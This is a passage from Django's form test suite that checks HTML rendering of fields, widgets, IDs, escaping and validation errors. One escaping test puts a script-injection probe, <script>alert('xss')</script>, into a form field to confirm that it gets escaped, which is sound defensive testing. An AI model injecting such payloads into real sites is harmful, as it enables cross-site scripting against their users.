        self.assertHTMLEqual(str(p['last_name']), '<input type="text" name="last_name" id="id_last_name" required />')
        self.assertHTMLEqual(str(p['birthday']), '<input type="text" name="birthday" id="id_birthday" required />')

    def test_cleaned_data_only_fields(self):
        # cleaned_data will always *only* contain a key for fields defined in the
        # Form, even if you pass extra data when you define the Form. In this
        # example, we pass a bunch of extra fields to the form constructor,
        # but cleaned_data contains only the form's fields.
        data = {
            'first_name': 'John',
            'last_name': 'Lennon',
            'birthday': '1940-10-9',
            'extra1': 'hello',
            'extra2': 'hello',
        }
        p = Person(data)
        self.assertTrue(p.is_valid())
        self.assertEqual(p.cleaned_data['first_name'], 'John')
        self.assertEqual(p.cleaned_data['last_name'], 'Lennon')
        self.assertEqual(p.cleaned_data['birthday'], datetime.date(1940, 10, 9))

    def test_optional_data(self):
        # cleaned_data will include a key and value for *all* fields defined in the Form,
        # even if the Form's data didn't include a value for fields that are not
        # required. In this example, the data dictionary doesn't include a value for the
        # "nick_name" field, but cleaned_data includes it. For CharFields, it's set to the
        # empty string.
        class OptionalPersonForm(Form):
            first_name = CharField()
            last_name = CharField()
            nick_name = CharField(required=False)

        data = {'first_name': 'John', 'last_name': 'Lennon'}
        f = OptionalPersonForm(data)
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['nick_name'], '')
        self.assertEqual(f.cleaned_data['first_name'], 'John')
        self.assertEqual(f.cleaned_data['last_name'], 'Lennon')

        # For DateFields, it's set to None.
        class OptionalPersonForm(Form):
            first_name = CharField()
            last_name = CharField()
            birth_date = DateField(required=False)

        data = {'first_name': 'John', 'last_name': 'Lennon'}
        f = OptionalPersonForm(data)
        self.assertTrue(f.is_valid())
        self.assertIsNone(f.cleaned_data['birth_date'])
        self.assertEqual(f.cleaned_data['first_name'], 'John')
        self.assertEqual(f.cleaned_data['last_name'], 'Lennon')

    def test_auto_id(self):
        # "auto_id" tells the Form to add an "id" attribute to each form element.
        # If it's a string that contains '%s', Django will use that as a format string
        # into which the field's name will be inserted. It will also put a <label> around
        # the human-readable labels for a field.
        p = Person(auto_id='%s_id')
        self.assertHTMLEqual(
            p.as_table(),
            """<tr><th><label for="first_name_id">First name:</label></th><td>
<input type="text" name="first_name" id="first_name_id" required /></td></tr>
<tr><th><label for="last_name_id">Last name:</label></th><td>
<input type="text" name="last_name" id="last_name_id" required /></td></tr>
<tr><th><label for="birthday_id">Birthday:</label></th><td>
<input type="text" name="birthday" id="birthday_id" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="first_name_id">First name:</label>
<input type="text" name="first_name" id="first_name_id" required /></li>
<li><label for="last_name_id">Last name:</label>
<input type="text" name="last_name" id="last_name_id" required /></li>
<li><label for="birthday_id">Birthday:</label>
<input type="text" name="birthday" id="birthday_id" required /></li>"""
        )
        self.assertHTMLEqual(
            p.as_p(),
            """<p><label for="first_name_id">First name:</label>
<input type="text" name="first_name" id="first_name_id" required /></p>
<p><label for="last_name_id">Last name:</label>
<input type="text" name="last_name" id="last_name_id" required /></p>
<p><label for="birthday_id">Birthday:</label>
<input type="text" name="birthday" id="birthday_id" required /></p>"""
        )

    def test_auto_id_true(self):
        # If auto_id is any True value whose str() does not contain '%s', the "id"
        # attribute will be the name of the field.
        p = Person(auto_id=True)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="first_name">First name:</label>
<input type="text" name="first_name" id="first_name" required /></li>
<li><label for="last_name">Last name:</label>
<input type="text" name="last_name" id="last_name" required /></li>
<li><label for="birthday">Birthday:</label>
<input type="text" name="birthday" id="birthday" required /></li>"""
        )

    def test_auto_id_false(self):
        # If auto_id is any False value, an "id" attribute won't be output unless it
        # was manually entered.
        p = Person(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li>First name: <input type="text" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /></li>"""
        )

    def test_id_on_field(self):
        # In this example, auto_id is False, but the "id" attribute for the "first_name"
        # field is given. Also note that field gets a <label>, while the others don't.
        p = PersonNew(auto_id=False)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="first_name_id">First name:</label>
<input type="text" id="first_name_id" name="first_name" required /></li>
<li>Last name: <input type="text" name="last_name" required /></li>
<li>Birthday: <input type="text" name="birthday" required /></li>"""
        )

    def test_auto_id_on_form_and_field(self):
        # If the "id" attribute is specified in the Form and auto_id is True, the "id"
        # attribute in the Form gets precedence.
        p = PersonNew(auto_id=True)
        self.assertHTMLEqual(
            p.as_ul(),
            """<li><label for="first_name_id">First name:</label>
<input type="text" id="first_name_id" name="first_name" required /></li>
<li><label for="last_name">Last name:</label>
<input type="text" name="last_name" id="last_name" required /></li>
<li><label for="birthday">Birthday:</label>
<input type="text" name="birthday" id="birthday" required /></li>"""
        )

    def test_various_boolean_values(self):
        class SignupForm(Form):
            email = EmailField()
            get_spam = BooleanField()

        f = SignupForm(auto_id=False)
        self.assertHTMLEqual(str(f['email']), '<input type="email" name="email" required />')
        self.assertHTMLEqual(str(f['get_spam']), '<input type="checkbox" name="get_spam" required />')

        f = SignupForm({'email': 'test@example.com', 'get_spam': True}, auto_id=False)
        self.assertHTMLEqual(str(f['email']), '<input type="email" name="email" value="test@example.com" required />')
        self.assertHTMLEqual(
            str(f['get_spam']),
            '<input checked type="checkbox" name="get_spam" required />',
        )

        # 'True' or 'true' should be rendered without a value attribute
        f = SignupForm({'email': 'test@example.com', 'get_spam': 'True'}, auto_id=False)
        self.assertHTMLEqual(
            str(f['get_spam']),
            '<input checked type="checkbox" name="get_spam" required />',
        )

        f = SignupForm({'email': 'test@example.com', 'get_spam': 'true'}, auto_id=False)
        self.assertHTMLEqual(
            str(f['get_spam']), '<input checked type="checkbox" name="get_spam" required />')

        # A value of 'False' or 'false' should be rendered unchecked
        f = SignupForm({'email': 'test@example.com', 'get_spam': 'False'}, auto_id=False)
        self.assertHTMLEqual(str(f['get_spam']), '<input type="checkbox" name="get_spam" required />')

        f = SignupForm({'email': 'test@example.com', 'get_spam': 'false'}, auto_id=False)
        self.assertHTMLEqual(str(f['get_spam']), '<input type="checkbox" name="get_spam" required />')

        # A value of '0' should be interpreted as a True value (#16820)
        f = SignupForm({'email': 'test@example.com', 'get_spam': '0'})
        self.assertTrue(f.is_valid())
        self.assertTrue(f.cleaned_data.get('get_spam'))

    def test_widget_output(self):
        # Any Field can have a Widget class passed to its constructor:
        class ContactForm(Form):
            subject = CharField()
            message = CharField(widget=Textarea)

        f = ContactForm(auto_id=False)
        self.assertHTMLEqual(str(f['subject']), '<input type="text" name="subject" required />')
        self.assertHTMLEqual(str(f['message']), '<textarea name="message" rows="10" cols="40" required></textarea>')

        # as_textarea(), as_text() and as_hidden() are shortcuts for changing the output
        # widget type:
        self.assertHTMLEqual(
            f['subject'].as_textarea(),
            '<textarea name="subject" rows="10" cols="40" required></textarea>',
        )
        self.assertHTMLEqual(f['message'].as_text(), '<input type="text" name="message" required />')
        self.assertHTMLEqual(f['message'].as_hidden(), '<input type="hidden" name="message" />')

        # The 'widget' parameter to a Field can also be an instance:
        class ContactForm(Form):
            subject = CharField()
            message = CharField(widget=Textarea(attrs={'rows': 80, 'cols': 20}))

        f = ContactForm(auto_id=False)
        self.assertHTMLEqual(str(f['message']), '<textarea name="message" rows="80" cols="20" required></textarea>')

        # Instance-level attrs are *not* carried over to as_textarea(), as_text() and
        # as_hidden():
        self.assertHTMLEqual(f['message'].as_text(), '<input type="text" name="message" required />')
        f = ContactForm({'subject': 'Hello', 'message': 'I love you.'}, auto_id=False)
        self.assertHTMLEqual(
            f['subject'].as_textarea(),
            '<textarea rows="10" cols="40" name="subject" required>Hello</textarea>'
        )
        self.assertHTMLEqual(
            f['message'].as_text(),
            '<input type="text" name="message" value="I love you." required />',
        )
        self.assertHTMLEqual(f['message'].as_hidden(), '<input type="hidden" name="message" value="I love you." />')

    def test_forms_with_choices(self):
        # For a form with a <select>, use ChoiceField:
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField(choices=[('P', 'Python'), ('J', 'Java')])

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select name="language" required>
<option value="P">Python</option>
<option value="J">Java</option>
</select>""")
        f = FrameworkForm({'name': 'Django', 'language': 'P'}, auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select name="language" required>
<option value="P" selected="selected">Python</option>
<option value="J">Java</option>
</select>""")

        # A subtlety: If one of the choices' value is the empty string and the form is
        # unbound, then the <option> for the empty-string choice will get selected="selected".
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField(choices=[('', '------'), ('P', 'Python'), ('J', 'Java')])

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select name="language" required>
<option value="" selected="selected">------</option>
<option value="P">Python</option>
<option value="J">Java</option>
</select>""")

        # You can specify widget attributes in the Widget constructor.
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField(choices=[('P', 'Python'), ('J', 'Java')], widget=Select(attrs={'class': 'foo'}))

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select class="foo" name="language" required>
<option value="P">Python</option>
<option value="J">Java</option>
</select>""")
        f = FrameworkForm({'name': 'Django', 'language': 'P'}, auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select class="foo" name="language" required>
<option value="P" selected="selected">Python</option>
<option value="J">Java</option>
</select>""")

        # When passing a custom widget instance to ChoiceField, note that setting
        # 'choices' on the widget is meaningless. The widget will use the choices
        # defined on the Field, not the ones defined on the Widget.
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField(
                choices=[('P', 'Python'), ('J', 'Java')],
                widget=Select(choices=[('R', 'Ruby'), ('P', 'Perl')], attrs={'class': 'foo'}),
            )

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select class="foo" name="language" required>
<option value="P">Python</option>
<option value="J">Java</option>
</select>""")
        f = FrameworkForm({'name': 'Django', 'language': 'P'}, auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select class="foo" name="language" required>
<option value="P" selected="selected">Python</option>
<option value="J">Java</option>
</select>""")

        # You can set a ChoiceField's choices after the fact.
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField()

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<select name="language" required>
</select>""")
        f.fields['language'].choices = [('P', 'Python'), ('J', 'Java')]
        self.assertHTMLEqual(str(f['language']), """<select name="language" required>
<option value="P">Python</option>
<option value="J">Java</option>
</select>""")

    def test_forms_with_radio(self):
        # Add widget=RadioSelect to use that widget with a ChoiceField.
        class FrameworkForm(Form):
            name = CharField()
            language = ChoiceField(choices=[('P', 'Python'), ('J', 'Java')], widget=RadioSelect)

        f = FrameworkForm(auto_id=False)
        self.assertHTMLEqual(str(f['language']), """<ul>
<li><label><input type="radio" name="language" value="P" required /> Python</label></li>
<li><label><input type="radio" name="language" value="J" required /> Java</label></li>
</ul>""")
        self.assertHTMLEqual(f.as_table(), """<tr><th>Name:</th><td><input type="text" name="name" required /></td></tr>
<tr><th>Language:</th><td><ul>
<li><label><input type="radio" name="language" value="P" required /> Python</label></li>
<li><label><input type="radio" name="language" value="J" required /> Java</label></li>
</ul></td></tr>""")
        self.assertHTMLEqual(f.as_ul(), """<li>Name: <input type="text" name="name" required /></li>
<li>Language: <ul>
<li><label><input type="radio" name="language" value="P" required /> Python</label></li>
<li><label><input type="radio" name="language" value="J" required /> Java</label></li>
</ul></li>""")

        # Regarding auto_id and <label>, RadioSelect is a special case. Each radio button
        # gets a distinct ID, formed by appending an underscore plus the button's
        # zero-based index.
        f = FrameworkForm(auto_id='id_%s')
        self.assertHTMLEqual(
            str(f['language']),
            """<ul id="id_language">
<li><label for="id_language_0"><input type="radio" id="id_language_0" value="P" name="language" required />
Python</label></li>
<li><label for="id_language_1"><input type="radio" id="id_language_1" value="J" name="language" required />
Java</label></li>
</ul>"""
        )

        # When RadioSelect is used with auto_id, and the whole form is printed using
        # either as_table() or as_ul(), the label for the RadioSelect will point to the
        # ID of the *first* radio button.
        self.assertHTMLEqual(
            f.as_table(),
            """<tr><th><label for="id_name">Name:</label></th><td><input type="text" name="name" id="id_name" required /></td></tr>
<tr><th><label for="id_language_0">Language:</label></th><td><ul id="id_language">
<li><label for="id_language_0"><input type="radio" id="id_language_0" value="P" name="language" required />
Python</label></li>
<li><label for="id_language_1"><input type="radio" id="id_language_1" value="J" name="language" required />
Java</label></li>
</ul></td></tr>"""
        )
        self.assertHTMLEqual(
            f.as_ul(),
            """<li><label for="id_name">Name:</label> <input type="text" name="name" id="id_name" required /></li>
<li><label for="id_language_0">Language:</label> <ul id="id_language">
<li><label for="id_language_0"><input type="radio" id="id_language_0" value="P" name="language" required />
Python</label></li>
<li><label for="id_language_1"><input type="radio" id="id_language_1" value="J" name="language" required />
Java</label></li>
</ul></li>"""
        )
        self.assertHTMLEqual(
            f.as_p(),
            """<p><label for="id_name">Name:</label> <input type="text" name="name" id="id_name" required /></p>
<p><label for="id_language_0">Language:</label> <ul id="id_language">
<li><label for="id_language_0"><input type="radio" id="id_language_0" value="P" name="language" required />
Python</label></li>
<li><label for="id_language_1"><input type="radio" id="id_language_1" value="J" name="language" required />
Java</label></li>
</ul></p>"""
        )

        # Test iterating on individual radios in a template
        t = Template('{% for radio in form.language %}<div class="myradio">{{ radio }}</div>{% endfor %}')
        self.assertHTMLEqual(
            t.render(Context({'form': f})),
            """<div class="myradio"><label for="id_language_0">
<input id="id_language_0" name="language" type="radio" value="P" required /> Python</label></div>
<div class="myradio"><label for="id_language_1">
<input id="id_language_1" name="language" type="radio" value="J" required /> Java</label></div>"""
        )

    def test_form_with_iterable_boundfield(self):
        class BeatleForm(Form):
            name = ChoiceField(
                choices=[('john', 'John'), ('paul', 'Paul'), ('george', 'George'), ('ringo', 'Ringo')],
                widget=RadioSelect,
            )

        f = BeatleForm(auto_id=False)
        self.assertHTMLEqual(
            '\n'.join(str(bf) for bf in f['name']),
            """<label><input type="radio" name="name" value="john" required /> John</label>
<label><input type="radio" name="name" value="paul" required /> Paul</label>
<label><input type="radio" name="name" value="george" required /> George</label>
<label><input type="radio" name="name" value="ringo" required /> Ringo</label>"""
        )
        self.assertHTMLEqual(
            '\n'.join('<div>%s</div>' % bf for bf in f['name']),
            """<div><label><input type="radio" name="name" value="john" required /> John</label></div>
<div><label><input type="radio" name="name" value="paul" required /> Paul</label></div>
<div><label><input type="radio" name="name" value="george" required /> George</label></div>
<div><label><input type="radio" name="name" value="ringo" required /> Ringo</label></div>"""
        )

    def test_form_with_noniterable_boundfield(self):
        # You can iterate over any BoundField, not just those with widget=RadioSelect.
        class BeatleForm(Form):
            name = CharField()

        f = BeatleForm(auto_id=False)
        self.assertHTMLEqual('\n'.join(str(bf) for bf in f['name']), '<input type="text" name="name" required />')

    def test_boundfield_slice(self):
        class BeatleForm(Form):
            name = ChoiceField(
                choices=[('john', 'John'), ('paul', 'Paul'), ('george', 'George'), ('ringo', 'Ringo')],
                widget=RadioSelect,
            )

        f = BeatleForm()
        bf = f['name']
        self.assertEqual(
            [str(item) for item in bf[1:]],
            [str(bf[1]), str(bf[2]), str(bf[3])],
        )

    def test_forms_with_multiple_choice(self):
        # MultipleChoiceField is a special case, as its data is required to be a list:
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField()

        f = SongForm(auto_id=False)
        self.assertHTMLEqual(str(f['composers']), """<select multiple="multiple" name="composers" required>
</select>""")

        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')])

        f = SongForm(auto_id=False)
        self.assertHTMLEqual(str(f['composers']), """<select multiple="multiple" name="composers" required>
<option value="J">John Lennon</option>
<option value="P">Paul McCartney</option>
</select>""")
        f = SongForm({'name': 'Yesterday', 'composers': ['P']}, auto_id=False)
        self.assertHTMLEqual(str(f['name']), '<input type="text" name="name" value="Yesterday" required />')
        self.assertHTMLEqual(str(f['composers']), """<select multiple="multiple" name="composers" required>
<option value="J">John Lennon</option>
<option value="P" selected="selected">Paul McCartney</option>
</select>""")

    def test_form_with_disabled_fields(self):
        class PersonForm(Form):
            name = CharField()
            birthday = DateField(disabled=True)

        class PersonFormFieldInitial(Form):
            name = CharField()
            birthday = DateField(disabled=True, initial=datetime.date(1974, 8, 16))

        # Disabled fields are generally not transmitted by user agents.
        # The value from the form's initial data is used.
        f1 = PersonForm({'name': 'John Doe'}, initial={'birthday': datetime.date(1974, 8, 16)})
        f2 = PersonFormFieldInitial({'name': 'John Doe'})
        for form in (f1, f2):
            self.assertTrue(form.is_valid())
            self.assertEqual(
                form.cleaned_data,
                {'birthday': datetime.date(1974, 8, 16), 'name': 'John Doe'}
            )

        # Values provided in the form's data are ignored.
        data = {'name': 'John Doe', 'birthday': '1984-11-10'}
        f1 = PersonForm(data, initial={'birthday': datetime.date(1974, 8, 16)})
        f2 = PersonFormFieldInitial(data)
        for form in (f1, f2):
            self.assertTrue(form.is_valid())
            self.assertEqual(
                form.cleaned_data,
                {'birthday': datetime.date(1974, 8, 16), 'name': 'John Doe'}
            )

        # Initial data remains present on invalid forms.
        data = {}
        f1 = PersonForm(data, initial={'birthday': datetime.date(1974, 8, 16)})
        f2 = PersonFormFieldInitial(data)
        for form in (f1, f2):
            self.assertFalse(form.is_valid())
            self.assertEqual(form['birthday'].value(), datetime.date(1974, 8, 16))

    def test_hidden_data(self):
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')])

        # MultipleChoiceField rendered as_hidden() is a special case. Because it can
        # have multiple values, its as_hidden() renders multiple <input type="hidden">
        # tags.
        f = SongForm({'name': 'Yesterday', 'composers': ['P']}, auto_id=False)
        self.assertHTMLEqual(f['composers'].as_hidden(), '<input type="hidden" name="composers" value="P" />')
        f = SongForm({'name': 'From Me To You', 'composers': ['P', 'J']}, auto_id=False)
        self.assertHTMLEqual(f['composers'].as_hidden(), """<input type="hidden" name="composers" value="P" />
<input type="hidden" name="composers" value="J" />""")

        # DateTimeField rendered as_hidden() is special too
        class MessageForm(Form):
            when = SplitDateTimeField()

        f = MessageForm({'when_0': '1992-01-01', 'when_1': '01:01'})
        self.assertTrue(f.is_valid())
        self.assertHTMLEqual(
            str(f['when']),
            '<input type="text" name="when_0" value="1992-01-01" id="id_when_0" required />'
            '<input type="text" name="when_1" value="01:01" id="id_when_1" required />'
        )
        self.assertHTMLEqual(
            f['when'].as_hidden(),
            '<input type="hidden" name="when_0" value="1992-01-01" id="id_when_0" />'
            '<input type="hidden" name="when_1" value="01:01" id="id_when_1" />'
        )

    def test_multiple_choice_checkbox(self):
        # MultipleChoiceField can also be used with the CheckboxSelectMultiple widget.
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(
                choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')],
                widget=CheckboxSelectMultiple,
            )

        f = SongForm(auto_id=False)
        self.assertHTMLEqual(str(f['composers']), """<ul>
<li><label><input type="checkbox" name="composers" value="J" /> John Lennon</label></li>
<li><label><input type="checkbox" name="composers" value="P" /> Paul McCartney</label></li>
</ul>""")
        f = SongForm({'composers': ['J']}, auto_id=False)
        self.assertHTMLEqual(str(f['composers']), """<ul>
<li><label><input checked type="checkbox" name="composers" value="J" /> John Lennon</label></li>
<li><label><input type="checkbox" name="composers" value="P" /> Paul McCartney</label></li>
</ul>""")
        f = SongForm({'composers': ['J', 'P']}, auto_id=False)
        self.assertHTMLEqual(str(f['composers']), """<ul>
<li><label><input checked type="checkbox" name="composers" value="J" /> John Lennon</label></li>
<li><label><input checked type="checkbox" name="composers" value="P" /> Paul McCartney</label></li>
</ul>""")
        # Test iterating on individual checkboxes in a template
        t = Template('{% for checkbox in form.composers %}<div class="mycheckbox">{{ checkbox }}</div>{% endfor %}')
        self.assertHTMLEqual(t.render(Context({'form': f})), """<div class="mycheckbox"><label>
<input checked name="composers" type="checkbox" value="J" /> John Lennon</label></div>
<div class="mycheckbox"><label>
<input checked name="composers" type="checkbox" value="P" /> Paul McCartney</label></div>""")

    def test_checkbox_auto_id(self):
        # Regarding auto_id, CheckboxSelectMultiple is a special case. Each checkbox
        # gets a distinct ID, formed by appending an underscore plus the checkbox's
        # zero-based index.
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(
                choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')],
                widget=CheckboxSelectMultiple,
            )

        f = SongForm(auto_id='%s_id')
        self.assertHTMLEqual(
            str(f['composers']),
            """<ul id="composers_id">
<li><label for="composers_id_0">
<input type="checkbox" name="composers" value="J" id="composers_id_0" /> John Lennon</label></li>
<li><label for="composers_id_1">
<input type="checkbox" name="composers" value="P" id="composers_id_1" /> Paul McCartney</label></li>
</ul>"""
        )

    def test_multiple_choice_list_data(self):
        # Data for a MultipleChoiceField should be a list. QueryDict and
        # MultiValueDict conveniently work with this.
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(
                choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')],
                widget=CheckboxSelectMultiple,
            )

        data = {'name': 'Yesterday', 'composers': ['J', 'P']}
        f = SongForm(data)
        self.assertEqual(f.errors, {})

        data = QueryDict('name=Yesterday&composers=J&composers=P')
        f = SongForm(data)
        self.assertEqual(f.errors, {})

        data = MultiValueDict(dict(name=['Yesterday'], composers=['J', 'P']))
        f = SongForm(data)
        self.assertEqual(f.errors, {})

        # SelectMultiple uses ducktyping so that MultiValueDictLike.getlist()
        # is called.
        f = SongForm(MultiValueDictLike({'name': 'Yesterday', 'composers': 'J'}))
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['composers'], ['J'])

    def test_multiple_hidden(self):
        class SongForm(Form):
            name = CharField()
            composers = MultipleChoiceField(
                choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')],
                widget=CheckboxSelectMultiple,
            )

        # The MultipleHiddenInput widget renders multiple values as hidden fields.
        class SongFormHidden(Form):
            name = CharField()
            composers = MultipleChoiceField(
                choices=[('J', 'John Lennon'), ('P', 'Paul McCartney')],
                widget=MultipleHiddenInput,
            )

        f = SongFormHidden(MultiValueDict(dict(name=['Yesterday'], composers=['J', 'P'])), auto_id=False)
        self.assertHTMLEqual(
            f.as_ul(),
            """<li>Name: <input type="text" name="name" value="Yesterday" required />
<input type="hidden" name="composers" value="J" />
<input type="hidden" name="composers" value="P" /></li>"""
        )

        # When using CheckboxSelectMultiple, the framework expects a list of input and
        # returns a list of input.
        f = SongForm({'name': 'Yesterday'}, auto_id=False)
        self.assertEqual(f.errors['composers'], ['This field is required.'])
        f = SongForm({'name': 'Yesterday', 'composers': ['J']}, auto_id=False)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['composers'], ['J'])
        self.assertEqual(f.cleaned_data['name'], 'Yesterday')
        f = SongForm({'name': 'Yesterday', 'composers': ['J', 'P']}, auto_id=False)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['composers'], ['J', 'P'])
        self.assertEqual(f.cleaned_data['name'], 'Yesterday')

        # MultipleHiddenInput uses ducktyping so that
        # MultiValueDictLike.getlist() is called.
        f = SongForm(MultiValueDictLike({'name': 'Yesterday', 'composers': 'J'}))
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['composers'], ['J'])

    def test_escaping(self):
        # Validation errors are HTML-escaped when output as HTML.
        class EscapingForm(Form):
            special_name = CharField(label="<em>Special</em> Field")
            special_safe_name = CharField(label=mark_safe("<em>Special</em> Field"))

            def clean_special_name(self):
                raise ValidationError("Something's wrong with '%s'" % self.cleaned_data['special_name'])

            def clean_special_safe_name(self):
                raise ValidationError(
                    mark_safe("'<b>%s</b>' is a safe string" % self.cleaned_data['special_safe_name'])
                )

        f = EscapingForm({
            'special_name':
            "Nothing to escape",
            'special_safe_name': "Nothing to escape",
        }, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            """<tr><th>&lt;em&gt;Special&lt;/em&gt; Field:</th><td>
<ul class="errorlist"><li>Something&#39;s wrong with &#39;Nothing to escape&#39;</li></ul>
<input type="text" name="special_name" value="Nothing to escape" required /></td></tr>
<tr><th><em>Special</em> Field:</th><td>
<ul class="errorlist"><li>'<b>Nothing to escape</b>' is a safe string</li></ul>
<input type="text" name="special_safe_name" value="Nothing to escape" required /></td></tr>"""
        )
        f = EscapingForm({
            'special_name': "Should escape < & > and <script>alert('xss')</script>",
            'special_safe_name': "<i>Do not escape</i>"
        }, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            """<tr><th>&lt;em&gt;Special&lt;/em&gt; Field:</th><td>
<ul class="errorlist"><li>Something&#39;s wrong with &#39;Should escape &lt; &amp; &gt; and
&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;&#39;</li></ul>
<input type="text" name="special_name"
value="Should escape &lt; &amp; &gt; and &lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;" required /></td></tr>
<tr><th><em>Special</em> Field:</th><td>
<ul class="errorlist"><li>'<b><i>Do not escape</i></b>' is a safe string</li></ul>
<input type="text" name="special_safe_name" value="&lt;i&gt;Do not escape&lt;/i&gt;" required /></td></tr>"""
        )

    def test_validating_multiple_fields(self):
        # There are a couple of ways to do multiple-field validation. If you want the
        # validation message to be associated with a particular field, implement the
        # clean_XXX() method on the Form, where XXX is the field name. As in
        # Field.clean(), the clean_XXX() method should return the cleaned value. In the
        # clean_XXX() method, you have access to self.cleaned_data, which is a dictionary
        # of all the data that has been cleaned *so far*, in order by the fields,
        # including the current field (e.g., the field XXX if you're in clean_XXX()).
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password1 = CharField(widget=PasswordInput)
            password2 = CharField(widget=PasswordInput)

            def clean_password2(self):
                if (self.cleaned_data.get('password1') and self.cleaned_data.get('password2') and
                        self.cleaned_data['password1'] != self.cleaned_data['password2']):
                    raise ValidationError('Please make sure your passwords match.')

                return self.cleaned_data['password2']

        f = UserRegistration(auto_id=False)
        self.assertEqual(f.errors, {})
        f = UserRegistration({}, auto_id=False)
        self.assertEqual(f.errors['username'], ['This field is required.'])
        self.assertEqual(f.errors['password1'], ['This field is required.'])
        self.assertEqual(f.errors['password2'], ['This field is required.'])
        f = UserRegistration({'username': 'adrian', 'password1': 'foo', 'password2': 'bar'}, auto_id=False)
        self.assertEqual(f.errors['password2'], ['Please make sure your passwords match.'])
        f = UserRegistration({'username': 'adrian', 'password1': 'foo', 'password2': 'foo'}, auto_id=False)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.cleaned_data['username'], 'adrian')
        self.assertEqual(f.cleaned_data['password1'], 'foo')
        self.assertEqual(f.cleaned_data['password2'], 'foo')

        # Another way of doing multiple-field validation is by implementing the
        # Form's clean() method. Usually ValidationError raised by that method
        # will not be associated with a particular field and will have a
        # special-case association with the field named '__all__'. It's
        # possible to associate the errors to particular field with the
        # Form.add_error() method or by passing a dictionary that maps each
        # field to one or more errors.
        #
        # Note that in Form.clean(), you have access to self.cleaned_data, a
        # dictionary of all the fields/values that have *not* raised a
        # ValidationError. Also note Form.clean() is required to return a
        # dictionary of all clean data.
        class UserRegistration(Form):
            username = CharField(max_length=10)
            password1 = CharField(widget=PasswordInput)
            password2 = CharField(widget=PasswordInput)

            def clean(self):
                # Test raising a ValidationError as NON_FIELD_ERRORS.
                if (self.cleaned_data.get('password1') and self.cleaned_data.get('password2') and
                        self.cleaned_data['password1'] != self.cleaned_data['password2']):
                    raise ValidationError('Please make sure your passwords match.')

                # Test raising ValidationError that targets multiple fields.
                errors = {}
                if self.cleaned_data.get('password1') == 'FORBIDDEN_VALUE':
                    errors['password1'] = 'Forbidden value.'
                if self.cleaned_data.get('password2') == 'FORBIDDEN_VALUE':
                    errors['password2'] = ['Forbidden value.']
                if errors:
                    raise ValidationError(errors)

                # Test Form.add_error()
                if self.cleaned_data.get('password1') == 'FORBIDDEN_VALUE2':
                    self.add_error(None, 'Non-field error 1.')
                    self.add_error('password1', 'Forbidden value 2.')
                if self.cleaned_data.get('password2') == 'FORBIDDEN_VALUE2':
                    self.add_error('password2', 'Forbidden value 2.')
                    raise ValidationError('Non-field error 2.')

                return self.cleaned_data

        f = UserRegistration(auto_id=False)
        self.assertEqual(f.errors, {})

        f = UserRegistration({}, auto_id=False)
        self.assertHTMLEqual(
            f.as_table(),
            """<tr><th>Username:</th><td>
<ul class="errorlist"><li>This field is required.</li></ul>
<input type="text" name="username" maxlength="10" required /></td></tr>
<tr><th>Password1:</th><td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="password" name="password1" required /></td></tr>
<tr><th>Password2:</th><td><ul class="errorlist"><li>This field is required.</li></ul>
<input type="password" name="password2" required /></td></tr>"""
        )
        self.assertEqual(f.errors['username'], ['This field is required.'])
        self.assertEqual(f.errors['password1'], ['This field is required.'])
        self.assertEqual(f.errors['password2'], ['This field is required.'])

        f = UserRegistration({'username': 'adrian', 'password1': 'foo', 'password2': 'bar'}, auto_id=False)
        self.assertEqual(f.errors['__all__'], ['Please make sure your passwords match.'])
        self.assertHTMLEqual(
            f.as_table(),
            """<tr><td colspan="2">
<ul class="errorlist nonfield"><li>Please make sure your passwords match.</li></ul></td></tr>
<tr><th>Username:</th><td><input type="text" name="username" value="adrian" maxlength="10" required /></td></tr>
<tr><th>Password1:</th><td><input type="password" name="password1" required /></td></tr>
<tr><th>Password2:</th><td><input type="password" name="password2" required /></td></tr>"""
        )
        self.assertHTMLEqual(
            f.as_ul(),
            """<li><ul class="errorlist nonfield">
<li>Please make sure your passwords match.</li></ul></li>
